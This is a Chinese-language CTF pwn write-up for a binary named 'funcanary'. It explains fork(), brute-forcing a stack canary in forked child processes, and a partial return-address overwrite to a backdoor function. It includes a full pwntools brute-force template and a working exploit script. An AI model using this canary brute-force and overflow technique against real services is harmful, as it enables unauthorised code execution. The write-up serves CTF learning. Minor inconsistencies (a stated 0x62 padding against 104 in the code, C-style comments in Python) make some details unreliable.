checksec下,保护全开

主函数逻辑如下

存在fork函数创建子进程

v3 = fork(); 是 C 编程语言中的一行代码,它调用 fork() 函数并将其返回值分配给名为 v3 的变量。 fork() 函数通过复制调用进程来创建一个新进程。 fork() 函数被调用后,新进程(称为子进程)将与原进程(称为父进程)相同,但它们将独立执行。

fork()函数的返回值用于判断这段代码是在父进程中执行还是在子进程中执行。 如果 fork() 返回 0,则代码正在子进程中执行。 如果 fork() 返回正值,则代码正在父进程中执行,返回值是子进程的进程 ID。 如果 fork() 返回 -1,则发生错误并且没有创建子进程。

进入sub_128A()函数

存在栈溢出漏洞且有canary,考虑到有fork函数,可以使用canary爆破

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。

存在后门函数

解题思路:

计算出canary距rbp的偏移,在ida里可以看到,即0x8,所以我们填充0x62个padding+canary+0x8个padding+后门函数的地址就可以完成调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
爆破Canary的通用模板
#coding=utf8
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['gnome-terminal','-x','bash','-c']
#context(arch='i386',os='linux')
local = 1
elf = ELF('./funcanary')
if local:
p = process('./funcanary')
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00' //canary的最低位始终为'\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send('a'*104 + canary + chr(i))
a = p.recvuntil("welcome\n")
print(a)
if "have fun" in a:
canary += chr(i)
print("canary: " + canary)
break

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
local = 1
elf = ELF('./funcanary')
if local:
p = process('./funcanary')
#libc = elf.libc
else:
p =remote()
libc = ELF()
p.recvuntil('welcome\n')
canary = '\x00'
for k in range(7):
for i in range(256):
print("the " + str(k) + ": " + chr(i))
p.send('a'*104 + canary + chr(i))
a = p.recvuntil("welcome\n")
print(a)
if "have fun" in a:
canary += chr(i)
print("canary: " + canary)
break
payload = 'A' * 104 + canary + 'A' * 8 + b'\x31\x12'
p.send(payload)
p.interactive()